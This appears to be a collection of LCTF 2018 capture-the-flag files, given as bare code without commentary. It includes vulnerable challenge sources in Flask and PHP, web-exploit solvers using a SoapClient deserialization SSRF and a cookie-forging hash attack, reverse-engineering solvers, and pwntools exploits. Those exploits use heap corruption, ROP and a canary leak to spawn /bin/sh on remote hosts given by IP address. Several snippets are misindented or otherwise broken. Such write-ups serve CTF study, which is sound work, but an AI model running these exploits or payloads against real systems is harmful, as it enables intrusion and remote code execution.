# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid 

app = create_app()


@app.route('/upload/', methods=['PUT'])
def upload_file(filename):
    name = request.cookies.get('name')
    pwd = request.cookies.get('pwd')
    if name != 'lctf' and pwd != str(uuid.getnode()):
        return "0"
    filename = urllib.unquote(filename)
    with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
        f.write(request.get_data(as_text=True))
        return "1"
    return "0"


@app.route('/', methods=['GET'])
    def index(): 
        url = request.args.get('url', '')
        if url == '':
            return render_template('index.html')
        if "http" != url[: 4]:
            return "hacker"
        try:
            response = requests.get(url, timeout=10)
            response.encoding = 'utf-8'
            return response.text
        except:
            return "Something Error"


@app.route('/source', methods=['GET'])
    def get_source():
        return open(__file__).read()

if __name__ == '__main__':
    app.run()

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

import requests
import re
url = "http://172.81.210.82/"

payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text

data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

rs = re.findall(r'string\(26\) "(.*?)"', html)

url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html

<?php
class K0rz3n_secret_flag { 
    protected $file_path="/var/www/file/48915dedf3ce9ddc70aeefe2a42006a4/avatar.gif"; 
    function __destruct(){ 
        if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){ 
            die("Sorry Sorry Sorry"); 
        } 
    // include_once($this->file_path); 
 } 
} 

class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = $path;                                           
    } 
} 

$data = serialize(new K0rz3n_secret_flag());
$hmac = hash_hmac("md5", $data, NULL); 
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));  

$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL); 
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));

from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)

@app.route('/')
def index():
    user = request.cookies.get('user', '')
    try:
        username = session_decode(user)
    except Exception:
        username = get_username()
        content = escape(username)
    else:
        if username == 'admin':
            content = escape(FLAG)
        else:
            content = escape(username)

    resp = make_response(render_template('main.html', content=content))
    return resp


@app.route('/sandbox')
def render_static():
    if not check_token(request.args.get('token')):
        resp = make_response('invalid request')
    else:
        url = request.args.get('url')
        try:
            if url is None or url == '':
                content = 'no url input'
            else:
                content = parse(url)
            resp = make_response(content)
        except Exception:
            resp = make_response('url error')

        resp.mimetype = 'text/plain'
        return resp


app.run(port=5000)

import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'lctf2018lctf2018'
block_size = 16

def random_str(length=5):
    random.seed(None)
    return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))


def get_username():
    username = random_str(length=5)
    if username != 'admin':
        return username
    else:
        return get_username()


def check_token(token):
    if token == '' or token is None:
        return False
        try:
            token = str.replace(token, ' ', '+')
            token = base64.b64decode(token)
            cipher = AES.new(key, AES.MODE_ECB)
            token = cipher.decrypt(token)
            token = unpad(token, block_size)
            token = str(token, 'utf-8')
        except Exception as e:
            try:
                return False
            finally:
                e = None
                del e

        token = str.split(token, '@')
        if len(token) != 4:
            return False
            try:
                w = int(token[0])
                h = int(token[1])
                ua = token[2]
                ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
            except Exception as e:
                try:
                    return False
                finally:
                    e = None
                    del e

            if w < 100 or h < 100:
                return False
            if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
                return False
            now = datetime.datetime.now()
            if ts < now + (datetime.timedelta(minutes=3)):
                if ts > now - (datetime.timedelta(minutes=3)):
                    return True
                return False

import base64
from hash import MDA
from flag import seed

def encode(info):
    return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')


def decode(info):
    return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')


def hash_encode(info):
    md = MDA(seed)
    return md.grouping(info)


def hash_verify(hash_info, info):
    return hash_encode(info) == hash_info


def session_encode(info):
    return '%s.%s' % (encode(info), hash_encode(info))


def session_decode(info):
    info_list = str.split(info, '.')
    if len(info_list) != 2:
        raise Exception('error info')
    info_ = decode(info_list[0])
    if not hash_verify(info_list[1], info_):
        raise Exception('hash wrong')
    return info_

# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct  2 2018, 09:19:48)
# [Clang 9.0.0 (clang-900.0.39.2)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct

def _bytelist2long(list):
    imax = len(list) // 4
    hl = [0] * imax
    j = 0
    i = 0
    while i < imax:
        b0 = ord(list[j])
        b1 = ord(list[j + 1]) << 8
        b2 = ord(list[j + 2]) << 16
        b3 = ord(list[j + 3]) << 24
        hl[i] = b0 | b1 | b2 | b3
        i = i + 1
        j = j + 4

    return hl


def _rotateLeft(x, n):
    return x << n | x >> 32 - n


def F(x, y, z):
    return x & y | ~x & z


def G(x, y, z):
    return x & z | y & ~z


def H(x, y, z):
    return x ^ y ^ z


def I(x, y, z):
    return y ^ (x | ~z)


def XX(func, a, b, c, d, x, s, ac):
    res = 0
    res = res + a + func(b, c, d)
    res = res + x
    res = res + ac
    res = res & 65535
    res = _rotateLeft(res, s)
    res = res & 65535
    res = res + b
    return res & 65535


class MDA:

    def __init__(self, seed='lctf2018'):
        self.seed = seed
        self.init()

    def init(self):
        self.length = 0
        self.count = [0, 0]
        self.input = []
        random.seed(self.seed)
        self.A = random.randint(3326, 27529)
        self.B = random.randint(3326, 27529)
        self.C = random.randint(3326, 27529)
        self.D = random.randint(3326, 27529)

    def _transform(self, inp):
        a, b, c, d = A, B, C, D = (
         self.A, self.B, self.C, self.D)
        S11, S12, S13, S14 = (7, 12, 17, 22)
        a = XX(F, a, b, c, d, inp[0], S11, 42104)
        d = XX(F, d, a, b, c, inp[1], S12, 46934)
        c = XX(F, c, d, a, b, inp[2], S13, 28891)
        b = XX(F, b, c, d, a, inp[3], S14, 52974)
        S21, S22, S23, S24 = (5, 9, 14, 20)
        a = XX(G, a, b, c, d, inp[1], S21, 9570)
        b = XX(G, b, c, d, a, inp[0], S24, 51114)
        c = XX(G, c, d, a, b, inp[3], S23, 3463)
        d = XX(G, d, a, b, c, inp[2], S22, 41976)
        S31, S32, S33, S34 = (4, 11, 16, 23)
        a = XX(H, a, b, c, d, inp[1], S31, 59972)
        d = XX(H, d, a, b, c, inp[0], S32, 10234)
        c = XX(H, c, d, a, b, inp[3], S33, 12421)
        b = XX(H, b, c, d, a, inp[2], S34, 22117)
        S41, S42, S43, S44 = (6, 10, 15, 21)
        a = XX(I, a, b, c, d, inp[0], S41, 8772)
        d = XX(I, d, a, b, c, inp[3], S42, 52370)
        b = XX(I, b, c, d, a, inp[1], S44, 24017)
        c = XX(I, c, d, a, b, inp[2], S43, 53947)
        A = A + a & 32767
        B = B + b & 32767
        C = C + c & 32767
        D = D + d & 32767
        self.A, self.B, self.C, self.D = (
         A, B, C, D)

    def update(self, inBuf):
        leninBuf = len(inBuf)
        index = self.count[0] >> 3 & 15
        self.count[0] = self.count[0] + (leninBuf << 3)
        if self.count[0] < leninBuf << 3:
            self.count[1] = self.count[1] + 1
        self.count[1] = self.count[1] + (leninBuf >> 29)
        partLen = 16 - index
        if leninBuf >= partLen:
            self.input[index:] = list(inBuf[:partLen])
            self._transform(_bytelist2long(self.input))
            i = partLen
            while i + 15 < leninBuf:
                self._transform(_bytelist2long(list(inBuf[i:i + 16])))
                i = i + 16
            else:
                self.input = list(inBuf[i:leninBuf])

        else:
            i = 0
            self.input = self.input + list(inBuf)

    def insert(self, inBuf):
        self.init()
        self.update(inBuf)

    def digest(self):
        A = self.A
        B = self.B
        C = self.C
        D = self.D
        input = [] + self.input
        count = [] + self.count
        index = self.count[0] >> 3 & 15
        if index < 8:
            padLen = 8 - index
        else:
            padLen = 24 - index
        padding = ['\x80'] + ['\x00'] * 15
        self.update(padding[:padLen])
        bits = _bytelist2long(self.input[:8]) + count
        self._transform(bits)
        digest = struct.pack('<hhhh', self.A, self.B, self.C, self.D)
        self.A = A
        self.B = B
        self.C = C
        self.D = D
        self.input = input
        self.count = count
        return digest

    def hexdigest(self):
        return ''.join(['%02x' % ord(chr(c)) for c in self.digest()])

    def grouping(self, inBufGroup):
        hexdigest_group = ''
        for inBuf in inBufGroup:
            self.insert(inBuf)
            hexdigest_group += self.hexdigest()

        return hexdigest_group

import re, os
http_schema = re.compile('https?')
url_parser = re.compile('(\\w+)://([\\w\\-@\\.:]+)/?([\\w/_\\-@&\\?\\.=%()]+)?(#[\\w\\-@&_\\?()/%]+)?')
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'sandbox')

def parse_file(path):
    filename = os.path.join(sandbox_dir, path)
    if './' in filename or '..' in filename:
        return 'invalid content in url'
    elif not filename.startswith(base_dir):
        return 'url have to start with %s' % base_dir
    elif filename.endswith('py') or 'flag' in filename:
        return 'invalid content in filename'
    elif os.path.isdir(filename):
        file_list = os.listdir(filename)
        return ', '.join(file_list)
    elif os.path.isfile(filename):
        with open(filename, 'rb') as (f):
            content = f.read()
        return content
    else:
        return "can't find file"


def parse(url):
    fragments = url_parser.findall(url)
    if len(fragments) != 1 or len(fragments[0]) != 4:
        return 'invalid url'
    schema = fragments[0][0]
    host = fragments[0][1]
    path = fragments[0][2]
    if http_schema.match(schema):
        return "It's a valid http url"
    elif schema == 'file':
        if host != 'sandbox':
            return 'wrong file path'
        return parse_file(path)
    else:
        return 'unknown schema'

OZJE25ZT.060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426
vRMw3

info = str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8') #OZJE25ZT 
hash(info) == info2
# info2: 060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426

def hash_encode(info):
    md = MDA(seed)
    return md.grouping(info)

def grouping(self, inBufGroup):
        hexdigest_group = ''
        for inBuf in inBufGroup:
            self.insert(inBuf)
            hexdigest_group += self.hexdigest()

import requests
import base64
import time
lists = ['a','d','m','i','n']
h = ''
for x in lists:
    while 1:
        print 'try'
        headers = headers = {'User-Agent':'chrome'}
        r=requests.get('http://212.64.7.239/',headers)
        cookie = r.headers['Set-Cookie']
        cookie = cookie.split('=')[1]
        info_list = cookie.split('.')
        info = info_list[0]
        info2 = info_list[1]
        username = base64.b32decode(info)
        print username
        if x in username:
            idx = username.index(x)
            h += info2[idx*16:(idx+1)*16]
            print h
            break
print 'cookie: ' + base64.b32encode('admin') + '.' + h

from Crypto.Cipher import DES
from z3 import *

solver = Solver()

flag = [Int('flag%d'%i) for i in range(36)]

a = [i for i in flag]

b = [23, 65, 24, 78, 43, 56, 59, 67, 21, 43, 45, 76, 23, 54, 76, 12, 65, 43, 89, 40, 32, 67, 73, 57, 23, 45, 31, 54, 31, 52, 13, 24, 54, 65, 34, 24]

c = [0 for i in range(36)]

d = [43666, 49158, 43029, 51488, 53397, 51921, 28676, 39740, 26785, 41665, 35675, 40629, 32311, 31394, 20373, 41796, 33452, 35840, 17195, 29175, 29485, 28278, 28833, 28468, 46181, 58369, 44855, 56018, 57225, 60666, 25981, 26680, 24526, 38780, 29172, 30110]


for i in range(6):
    for j in range(6):
        for k in range(6):
            c[i+6*j] = c[i+6*j] + a[6*j+k]*b[6*k+i] 
        solver.add(simplify(c[i+6*j]) == d[i+6*j])
if solver.check() == sat:
    m = solver.model()
    s = []
    for i in range(36):
        s.append(m[flag[i]].as_long())
    print(s)
else:
    print('error')

s += [0x73,0x3c,0xf5,0x7c]

obj = DES.new('fa1conn\x00',DES.MODE_ECB)
message2 = ''
for i in s:
    message2 += chr(i)
charList = obj.decrypt(message2)

listA = [0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5]
flag = ''
for i in listA:
    flag += charList[i]
print(flag)

_DWORD *__usercall sub_401E8F@<eax>(int a1@<ebp>)
{
  _DWORD *result; // eax

  while ( *(_DWORD *)(a1 - 12) <= 35 )
  {
    for ( *(_DWORD *)(a1 - 16) = 0; *(_DWORD *)(a1 - 16) <= 6; *(_DWORD *)(a1 - 16) += 2 )
      array1[*(_DWORD *)(a1 - 12)] = *(_BYTE *)(*(_DWORD *)(a1 - 12) + 0x40B610) ^ (1 << (*(_BYTE *)(a1 - 16)
                                                                                        + *(_DWORD *)(a1 - 12) % 2));
    result = (_DWORD *)(a1 - 12);
    ++*result;
  }
  return result;
}

listA = [0x7C, 0x81, 0x61, 0x99, 0x67, 0x9B, 0x14, 0xEA, 0x68, 0x87, 0x10,0xEC, 0x16, 0xF9,0x7, 0xF2, 0x0F, 0xF3,0x3, 0xF4, 0x33, 0xCF,0x27, 0xC6, 0x26, 0xC3, 0x3D, 0xD0, 0x2C, 0xD2, 0x23, 0xDE,0x28, 0xD1,0x1, 0xE6]
flag = ''
for i in range(len(listA)):
    for j in range(4):
        listA[i] ^= (1 << ((j * 2) + (i % 2)))
    flag += chr(listA[i])

listB = [0x18,0x17,0x22,0x21,0x20,0x14,0x1a,0x15,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1e,0x1f,0x16,0x13,0x12,0x19,0xff,0xff,0xff,0xff,0xff,0xff,0x1d,0x1c,0x1b,0xff,0xff,0x23,0xff,0xff,0xff]
listC = [0] * 36
for i in range(len(listB)):
    if(listB[i] == 0xff):
        continue
    else:
        listC[listB[i]] = listA[i]
print(''.join(chr(i) for i in listC[18:]))

opcode = [149, 48, 0, 28, 151, 16, 155, 16, 158, 5, 148, 48, 153, 161, 9, 155, 50, 159, 4, 149, 0, 0, 1,0xa3,146, 0, 159, 1, 163, 149, 0, 0, 128, 149, 32, 0, 63, 149, 48, 0, 123, 149, 64, 0, 28, 151, 16, 141, 18, 139, 19, 143, 16, 152, 16, 153, 148, 64, 135, 64, 146, 64, 159, 1, 163, 138, 64, 161, 22, 163,146, 0, 159, 1, 163, 134, 0, 62, 134, 0, 26, 134, 0, 86, 134, 0, 13, 134, 0, 82, 134, 0, 19, 134, 0, 88, 134, 0, 90, 134, 0, 110, 134, 0, 92, 134, 0, 15, 134, 0, 90, 134, 0, 70, 134, 0, 7, 134, 0, 9, 134, 0, 82, 134, 0, 37, 134, 0, 92, 134, 0, 76, 134, 0, 10, 134, 0, 10, 134, 0, 86, 134, 0, 51, 134, 0, 64, 134, 0, 21, 134, 0, 7, 134, 0, 88, 134, 0, 15, 149, 0, 0, 0, 149, 48, 0, 28, 151, 16, 138, 32, 155, 18, 158, 1, 163, 153, 148, 48, 146, 48, 159, 5, 149, 0, 0, 1, 163, 161, 21, 163]
reg = ['eax','ebx','ecx','edx','edi']
i = 0
while(1):
    if(opcode[i] == 0x86):
        print(i,'push %d'%((opcode[i + 1] << 32) + opcode[i + 2]))
        i += 2
    elif(opcode[i] == 0x87):
        print(i,'push ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x88):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%opcode[i + 2])
        i += 1
    elif(opcode[i] == 0x89 or opcode[i] == 0x96):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8a):
        print(i,'pop ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x8b):
        print(i,'add ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8c):
        print(i,'sub ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8d):
        print(i,'mul ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8e):
        print(i,'div ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8f):
        print(i,'mod ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x90):
        print(i,'xor ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x91):
        print(i,'and ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x92):
        print(i,'mov edi,' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x93):
        print(i,'inc ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x94):
        print(i,'dec ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x95):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%((opcode[i + 2] << 32) + opcode[i + 3]))
        i += 3
    elif(opcode[i] == 0x97):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + 'input')
        i += 1
    elif(opcode[i] == 0x98):
        print(i,'mov ' + 'input' + ',' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x99):
        print(i,'inc input')
    elif(opcode[i] == 0x9a):
        print(i,'add input,4')
    elif(opcode[i] == 0x9b):
        print(i,'cmp ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x9c):
        print(i,'jl ' + '%d'%(i + opcode[i + 1] + 2))
        i += 1
    elif(opcode[i] == 0x9d or opcode[i] == 0x9f):
        print(i,'jg ' + '%d'%(i + opcode[i + 1] + 2))
        i += 1
    elif(opcode[i] == 0x9e):
        print(i,'je ' + '%d'%(i + opcode[i + 1] + 2))
        i += 1
    elif(opcode[i] == 0xa1):
        print(i,'jmp ' + '%d'%(i - opcode[i + 1]))
        i += 1
    elif(opcode[i] == 0xa3):
        print(i,'break')
    else:
        i += 1
    i += 1

listA = [62,26,86,13,82,19,88,90,110,92,15,90,70,7,9,82,37,92,76,10,10,86,51,64,21,7,88,15][::-1]
import string
flag = ''
#((input * 63) + 123) % 128
for i in range(len(listA)):
    for j in string.printable:
        if((ord(j) * 63 + 123) % 128) == listA[i]:
            flag += j
print(flag)

v5 = g_0((__int64)&pcbc);
    (*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v5 + 0x10LL))(v5, 0x35LL);

v6 = g_0((__int64)&input);
    (*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v6 + 0x10LL))(v6, 0x31LL);

v7 = g_0((__int64)&tmp);
    (*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v7 + 0x10LL))(v7, 0x34LL);

def encrypt(input_list):
    pcbc = 0x50434243
    out_list=[]
    for input in input_list:
        lctf = 0x4c435446
        tmp = lctf ^ 0x35353535 # construct
        input  = input ^ 0x10101010 # construct2
        print hex(input)[2:].decode('hex')
        pcbc ^= 0x35353535
        print hex(pcbc)[2:].decode('hex')
        input ^= 0x31313131 ^ 0x11111111
        print hex(input)[2:].decode('hex')
        tmp ^= 0x34343434
        input ^= pcbc
        print hex(input)[2:].decode('hex')
        tmp ^= input ^ 0x11111111
        print hex(tmp)[2:].decode('hex')
        out_list.append(tmp)
        pcbc = tmp
    return out_list

def decrypt(l):
    inp_list = []
    pcbc = 0x50434243
    for output in l:
        pcbc ^= 0x35353535
        input = output ^ pcbc ^ 0x7d726577 ^ 0x11111111
        inp_list.append(input)
        pcbc = output
    return inp_list

def hex2s(num):
    num = hex(num)
    num = num[2:]
    if num[-1] == 'L':
        num = num[:-1]
    if len(num) %2:
        num = '0'+num
    return num.decode('hex')

map='QWERTYUIOP!@#$%^'
f='IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE'
s=''
for i in range(len(f)/2):
    idx1 = map.index(f[2*i])
    idx2 = map.index(f[2*i+1])
    k1 = bin(idx1)[2:].rjust(4,'0')
    k2 = bin(idx2)[2:].rjust(4,'0')
    print k2,k1
    s+=chr(int(k1+k2,2))

d=s
print d
lists=[]
for i in range(len(d)/4):
    lists.append(int(d[4*i:4*(i+1)].encode('hex'),16))

l = decrypt(lists)
l[-1] ^= 0x35353535
l[0] ^= 0x35353535
flag = ''
for x in l:
    flag += hex2s(x)

print flag

d='2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex')

def KSA(key):
    keylength = len(key)
    S = range(256)
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]  # swap
    return S

def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)

def decode(key, plaintext):
    def convert_key(s):
        return [ord(c) for c in s]
    key = convert_key(key)
    keystream = RC4(key)
    d=''
    for c in plaintext:
        d+=chr((ord(c) ^ keystream.next()))
    return d


for x in range(256):
    key = [0,0,0,0]
    key[0] = chr((x*3)%256)
    key[1] = chr((x*2)%256)
    key[2] = chr(((x&0x74)*2)%256)
    key[3] = chr((x+0x50)%256)
    key = ''.join(key)
    print decode('LCTF'+key, d)

from PIL import Image

img = Image.new("RGB",(0x380,0x300))
pixTuple = (255,0,255,15)
fp = open('data')
while True:
    ch = fp.readline().strip('\n \r')
    if not ch:
        break
    ch = ch.decode('hex')
    print ch[2:4][::-1].encode('hex'),ch[4:6][::-1].encode('hex')
    img.putpixel((int(ch[2:4][::-1].encode('hex'),16)/0x10,int(ch[4:6][::-1].encode('hex'),16)/0x10),pixTuple)

img.save("dump.png")

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    # cn = process('./easy_heap')
    cn = remote('0',10002)
    bin = ELF('./easy_heap',checksec=False)
    libc = ELF('./libc_2.27.so',checksec=False)
else:
    cn = remote('118.25.150.134', 6666)
    libc = ELF('./libc_2.27.so',checksec=False)
    pass


def z(a=''):
    if local:
        gdb.attach('easyheap',gdbscript=a,exe='easy_heap')
        if a == '':
            raw_input()

def add(con,size):
    cn.sendlineafter('>','1')
    cn.sendlineafter('>',str(size))
    cn.sendlineafter('>',con)

def dele(idx):
    cn.sendlineafter('>','2')
    cn.sendlineafter('>',str(idx))

def show(idx):
    cn.sendlineafter('>','3')
    cn.sendlineafter('>',str(idx))

for i in range(10):
    add('asd',10)

dele(1) #1

for i in range(3,8):
    dele(i) #2,6

dele(9)#7

dele(8) #small1
dele(2) #s2
dele(0) #s3

for i in range(7):
    add('asd',10)

# now only 3 smallbin 0->2->8
add('',0) # 0
add('',0xf8) # 2 && null off by one
# now only 8 in tcache

for i in range(5):
    dele(i) # tcache 2,6

dele(6) # tcache 7
dele(5) #small trigger unlink

for i in range(7):
    add('asd',10)
show(8)
cn.recvuntil('> ')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x3ebc40-96
success('lbase: '+hex(lbase))
# raw_input()
freehook = lbase+libc.sym['__free_hook']
mallochook = lbase+libc.sym['__malloc_hook']
system = lbase+libc.sym['system']
one = lbase+0x10a38c
add('OOOO',10)
dele(7)
dele(8)
dele(9)

add(p64(mallochook),10)
add(p64(mallochook),10)

add(p64(one),10)

# z('b free\nb execve\nc')
dele(0) #hook
add('asd',0x10)
# z()

cn.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./sgs')
    bin = ELF('./sgs')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('212.64.75.161',2333)
    bin = ELF('./sgs')
    #libc = ELF('')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


cn.sendline('')
cn.sendlineafter('sign (I)n or sign (U)p?','I')
cn.sendlineafter('input your name','admin\x00aa')

cn.interactive()

cn.sendline("I")
cn.sendlineafter('input your name','admin\x00aa')
cn.interactive()

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./echos')
    bin = ELF('./echos',checksec=False)
    libc = ELF('./libc64.so',checksec=False)
else:
    # cn = remote('172.81.214.122', 6666)
    cn = remote('0',10003)
    bin = ELF('./echos',checksec=False)
    libc = ELF('./libc64.so',checksec=False)
    pass


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()

prdi=0x00000000004013c3
prsi_r15=0x00000000004013c1
gadget=0x00000000004013bd  # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
readn=0x00000000004011A6
pay = '8000\x00\x00\x00\x00' #r12
pay+=p64(0)*3
pay+=p64(gadget) + p64(0x0000000000403440) #rsp

cn.sendlineafter('size',pay)

size=0x3c0
sleep(0.2)
pay = p64(0x00000000004013B6)+p64(0x0000000000401190)
pay = pay.ljust(0x440-size,'a')
pay+=p64(0)*3
pay+=p64(prdi)+p64(bin.got['read'])+p64(bin.plt['puts'])
pay+=p64(prdi)+p64(bin.got['exit'])+p64(prsi_r15)+p64(0x10)*2+p64(readn)
pay+=p64(prdi)+p64(0x4034b8)+p64(bin.plt['exit'])+'/bin/sh\x00'
pay = pay.ljust(0x1000-size,'a')[:-1]
pay+='\n'
cn.send(pay)

cn.recvuntil(':')
cn.recvuntil(':\n')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['read']
success('lbase: '+hex(lbase))
system = libc.sym['system']+lbase
cn.sendline(p64(system))

cn.interactive()

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    bin = ELF('./just_pwn_p',checksec=False)
    cn2 = process('./just_pwn_p')
    cn = process('./just_pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    bin = ELF('./just_pwn_p',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    cn2 = process('./just_pwn_p')
    cn = remote('118.25.148.66', 2333)
    pass


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()

# login
cn2.sendlineafter('it','1')
cn2.recvuntil(':\n')
token = cn2.recvuntil('\n')[:-1]
success(token)
cn2.close()

cn.sendlineafter('it','2')
cn.sendlineafter(':',token)

# canary
cn.sendlineafter('developer','3')
for i in range(10):
    cn.sendlineafter('confirm','n')
# z('b read\nc')
cn.sendlineafter('confirm','y')

cn.sendafter(':','a'*9)
cn.recvuntil('a'*9)
canary = u64('\x00'+cn.recv(7))
success('canary: '+hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack: '+hex(stack)) # offset +0x40

cn.sendlineafter('developer','3')
cn.sendlineafter('confirm','y')
cn.sendafter(':','a'*0x40)
cn.recvuntil('a'*0x40)
lbase = u64(cn.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdout_']
success('lbase: '+hex(lbase))

####################
# z('c')
cn.sendlineafter('developer','1')
cn.sendlineafter('?',str(0x20))
#content fake head
pay = p64(0)+p64(0x51)
cn.sendlineafter(':',pay)
# overflow to ptr
stack+=0x50
success('stack: '+hex(stack))
pay = 'W'*32+p64(stack+0x10)
cn.sendlineafter(':',pay)

one = lbase+0x45216

cn.sendlineafter('confirm','n')
cn.sendlineafter('confirm','y')
cn.sendlineafter('?',str(0x48))
pay = 'a'*0x18+p64(canary)+p64(0)*3+p64(one)
cn.sendlineafter(':',pay)
cn.sendlineafter(':','asd')



cn.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL


'''